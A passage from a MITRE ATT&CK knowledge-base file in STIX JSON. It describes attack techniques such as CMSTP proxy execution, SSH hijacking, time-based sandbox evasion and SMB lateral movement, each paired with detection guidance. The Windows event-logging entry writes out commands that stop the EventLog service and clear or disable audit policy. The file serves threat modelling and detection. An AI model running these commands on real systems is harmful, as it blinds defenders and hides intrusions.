Creation"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63","type":"attack-pattern","created":"2017-05-31T21:30:50.958Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1062","url":"https://attack.mitre.org/techniques/T1062"},{"external_id":"CAPEC-552","source_name":"capec","url":"https://capec.mitre.org/data/definitions/552.html"},{"url":"https://en.wikipedia.org/wiki/Hypervisor","description":"Wikipedia. (2016, May 23). Hypervisor. Retrieved June 11, 2016.","source_name":"Wikipedia Hypervisor"},{"url":"http://en.wikipedia.org/wiki/Xen","description":"Xen. (n.d.). In Wikipedia. Retrieved November 13, 2014.","source_name":"Wikipedia Xen"},{"url":"http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf","description":"Myers, M., and Youndt, S. (2007). An Introduction to Hardware-Assisted Virtual Machine (HVM) Rootkits. Retrieved November 13, 2014.","source_name":"Myers 2007"},{"url":"http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html","description":"virtualization.info. (Interviewer) & Liguori, A. (Interviewee). (2006, August 11). Debunking Blue Pill myth &#91;Interview transcript&#93;. Retrieved November 13, 2014.","source_name":"virtualization.info 2006"}],"modified":"2020-03-30T13:44:04.712Z","name":"Hypervisor","description":"**This technique has been deprecated and should no longer be used.**\n\nA type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006)","x_mitre_deprecated":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator","SYSTEM"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jorge Orchilles, SCYTHE","Ruben Dodge, @shotgunner101","Jeff Felling, Red Canary","Deloitte Threat Library Team"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","type":"attack-pattern","created":"2020-03-06T21:11:11.225Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1497.003","url":"https://attack.mitre.org/techniques/T1497/003"},{"source_name":"Deloitte Environment Awareness","url":"https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc","description":"Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021."},{"source_name":"Revil Independence Day","url":"https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/","description":"Loman, M. et al. (2021, July 4). Independence Day: REvil uses supply chain exploit to attack hundreds of businesses. Retrieved September 30, 2021."},{"source_name":"Netskope Nitol","url":"https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique","description":"Malik, A. (2016, October 14). Nitol Botnet makes a resurgence with evasive sandbox analysis technique. Retrieved September 30, 2021."},{"source_name":"Joe Sec Nymaim","url":"https://www.joesecurity.org/blog/3660886847485093803","description":"Joe Security. (2016, April 21). Nymaim - evading Sandboxes with API hammering. Retrieved September 30, 2021."},{"source_name":"Joe Sec Trickbot","url":"https://www.joesecurity.org/blog/498839998833561473","description":"Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021."},{"source_name":"ISACA Malware Tricks","url":"https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes","description":"Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How Malware Evades Detection by Sandboxes. Retrieved March 30, 2021."}],"modified":"2021-10-15T22:37:43.854Z","name":"Time Based Evasion","description":"Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.\n\nAdversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)\n\nBenign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)\n\nAdversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"Time-based evasion will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","Process: OS API Execution"],"x_mitre_defense_bypassed":["Host forensic analysis","Signature-based detection","Static File Analysis","Anti-virus"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1182","url":"https://attack.mitre.org/techniques/T1182"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"},{"url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","source_name":"TechNet Autoruns"},{"url":"https://forum.sysinternals.com/appcertdlls_topic12546.html","description":"Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.","source_name":"Sysinternals AppCertDlls Oct 2007"}],"modified":"2020-11-10T18:29:30.350Z","name":"AppCert DLLs","description":"Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_effective_permissions":["Administrator","SYSTEM"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Nik Seetharaman, Palantir","Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49","type":"attack-pattern","created":"2020-01-23T18:27:30.656Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1218.003","url":"https://attack.mitre.org/techniques/T1218/003"},{"url":"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)","description":"Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.","source_name":"Microsoft Connection Manager Oct 2009"},{"url":"https://twitter.com/ItsReallyNick/status/958789644165894146","description":"Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018.","source_name":"Twitter CMSTP Usage Jan 2018"},{"url":"https://msitpros.com/?p=3960","description":"Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.","source_name":"MSitPros CMSTP Aug 2017"},{"url":"https://twitter.com/NickTyrer/status/958450014111633408","description":"Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018.","source_name":"Twitter CMSTP Jan 2018"},{"url":"https://github.com/api0cradle/UltimateAppLockerByPassList","description":"Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.","source_name":"GitHub Ultimate AppLocker Bypass List"},{"url":"http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/","description":"Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.","source_name":"Endurant CMSTP July 2018"}],"modified":"2022-03-11T18:38:36.109Z","name":"CMSTP","description":"Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017)  and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\n\nSysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\n\n* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\n* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).","x_mitre_is_subtechnique":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","Network Traffic: Network Connection Creation"],"x_mitre_defense_bypassed":["Anti-virus","Application control"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Anastasios Pingios"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8","type":"attack-pattern","created":"2020-02-25T18:34:38.290Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1563.001","url":"https://attack.mitre.org/techniques/T1563/001"},{"url":"https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219","description":"Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.","source_name":"Slideshare Abusing SSH"},{"url":"https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf","description":"Adam Boileau. (2005, August 5). Trust Transience:  Post Intrusion SSH Hijacking. Retrieved December 19, 2017.","source_name":"SSHjack Blackhat"},{"url":"https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking","description":"Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved December 20, 2017.","source_name":"Clockwork SSH Agent Hijacking"},{"source_name":"Breach Post-mortem SSH Hijack","url":"https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident","description":"Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved February 17, 2020."}],"modified":"2020-03-23T23:11:24.682Z","name":"SSH Hijacking","description":"Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Logon Session: Logon Session Creation","Command: Command Execution","Network Traffic: Network Traffic Flow","Process: Process Creation","Network Traffic: Network Traffic Content"],"x_mitre_permissions_required":["root"],"x_mitre_system_requirements":["SSH service enabled, trust relationships configured, established connections"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Prasanth Sadanala, Cigna Information Protection (CIP) - Threat Response Engineering Team"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a","type":"attack-pattern","created":"2020-02-21T20:46:36.688Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1562.002","url":"https://attack.mitre.org/techniques/T1562/002"},{"source_name":"Windows Log Events","url":"https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/","description":"Franklin Smith. (n.d.). Windows Security Log Events. Retrieved February 21, 2020."},{"source_name":"EventLog_Core_Technologies","url":"https://www.coretechnologies.com/blog/windows-services/eventlog/","description":"Core Technologies. (2021, May 24). Essential Windows Services: EventLog / Windows Event Log. Retrieved September 14, 2021."},{"source_name":"Audit_Policy_Microsoft","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-policy","description":"Daniel Simpson. (2017, April 19). Audit Policy. Retrieved September 13, 2021."},{"source_name":"Advanced_sec_audit_policy_settings","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings","description":"Simpson, D. et al. (2017, April 19). Advanced security audit policy settings. Retrieved September 14, 2021."},{"source_name":"auditpol","url":"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol","description":"Jason Gerend, et al. (2017, October 16). auditpol. Retrieved September 1, 2021."},{"source_name":"Disable_Win_Event_Logging","url":"https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging","description":" dmcxblue. (n.d.). Disable Windows Event Logging. Retrieved September 10, 2021."},{"source_name":"auditpol.exe_STRONTIC","url":"https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html","description":"STRONTIC. (n.d.). auditpol.exe. Retrieved September 9, 2021."},{"source_name":"T1562.002_redcanaryco","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md","description":"redcanaryco. (2021, September 3). T1562.002 - Disable Windows Event Logging. Retrieved September 13, 2021."},{"source_name":"def_ev_win_event_logging","url":"https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/","description":"Chandel, R. (2021, April 22). Defense Evasion: Windows Event Logging (T1562.002). Retrieved September 14, 2021."},{"source_name":"evt_log_tampering","url":"https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c","description":"svch0st. (2020, September 30). Event Log Tampering Part 1: Disrupting the EventLog Service. Retrieved September 14, 2021."}],"modified":"2021-10-19T13:37:30.534Z","name":"Disable Windows Event Logging","description":"Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.\n\nThe EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to <code>Security Settings\\Local Policies\\Audit Policy</code> for basic audit policy settings or <code>Security Settings\\Advanced Audit Policy Configuration</code> for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) <code>auditpol.exe</code> may also be used to set audit policies.(Citation: auditpol)\n\nAdversaries may target system-wide logging or just that of a particular application. For example, the EventLog service may be disabled using the following PowerShell line: <code>Stop-Service -Name EventLog</code>.(Citation: Disable_Win_Event_Logging) Additionally, adversaries may use <code>auditpol</code> and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the <code>/success</code> or <code>/failure</code> parameters. For example, <code>auditpol /set /category:”Account Logon” /success:disable /failure:disable</code> turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: <code>auditpol /clear /y</code> or <code>auditpol /remove /allusers</code>.(Citation: T1562.002_redcanaryco)\n\nBy disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor processes and command-line arguments for commands that can be used to disable logging. For example, [Wevtutil](https://attack.mitre.org/software/S0645), `auditpol`, `sc stop EventLog`, and offensive tooling (such as [Mimikatz](https://attack.mitre.org/software/S0002) and `Invoke-Phant0m`) may be used to clear logs.(Citation: def_ev_win_event_logging)(Citation: evt_log_tampering)  \n\nIn Event Viewer, Event ID 1102 under the “Security” Windows Log and Event ID 104 under the “System” Windows Log both indicate logs have been cleared.(Citation: def_ev_win_event_logging) `Service Control Manager Event ID 7035` in Event Viewer may indicate the termination of the EventLog service.(Citation: evt_log_tampering) Additionally, gaps in the logs, e.g. non-sequential Event Record IDs, may indicate that the logs may have been tampered.\n\nMonitor the addition of the MiniNT registry key in `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control`, which may disable Event Viewer.(Citation: def_ev_win_event_logging)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Windows Registry: Windows Registry Key Creation","Process: Process Creation","Sensor Health: Host Status","Command: Command Execution","Application Log: Application Log Content","Script: Script Execution"],"x_mitre_defense_bypassed":["Log analysis"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466","type":"attack-pattern","created":"2017-05-31T21:30:34.139Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1029","external_id":"T1029"}],"modified":"2020-03-28T00:26:48.769Z","name":"Scheduled Transfer","description":"Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_detection":"Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Connection Creation"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","type":"attack-pattern","created":"2020-02-11T18:25:28.212Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1021.002","url":"https://attack.mitre.org/techniques/T1021/002"},{"external_id":"CAPEC-561","source_name":"capec","url":"https://capec.mitre.org/data/definitions/561.html"},{"url":"https://en.wikipedia.org/wiki/Server_Message_Block","description":"Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.","source_name":"Wikipedia Server Message Block"},{"url":"https://technet.microsoft.com/en-us/library/cc787851.aspx","description":"Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.","source_name":"TechNet RPC"},{"url":"http://support.microsoft.com/kb/314984","description":"Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014.","source_name":"Microsoft Admin Shares"},{"source_name":"Lateral Movement Payne","description":"Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016.","url":"https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts"},{"url":"https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem","description":"Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016.","source_name":"Windows Event Forwarding Payne"},{"description":"French, D. (2018, October 9). Detecting & Removing an Attacker’s WMI Persistence. Retrieved October 11, 2019.","url":"https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96","source_name":"Medium Detecting WMI Persistence"}],"modified":"2020-03-23T21:16:02.812Z","name":"SMB/Windows Admin Shares","description":"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.\n\nSMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.\n\nWindows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne)(Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting WMI Persistence)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Network Traffic: Network Traffic Flow","Network Share: Network Share Access","Network Traffic: Network Connection Creation","Logon Session: Logon Session Creation"],"x_mitre_permissions_required":["User","Administrator"],"x_mitre_system_requirements":["SMB enabled; Host/network firewalls not blocking SMB ports between source and destination; Use of domain account in administrator group on remote system or default system admin account."]},{"x_mitre_platforms":["IaaS","Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Yossi Weizman, Azure Defender Research Team","Vishwas Manral, McAfee","Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f","type":"attack-pattern","created":"2019-09-04T12:04:03.552Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1525","url":"https://attack.mitre.org/techniques/T1525"},{"source_name":"Rhino Labs Cloud Image Backdoor Technique Sept 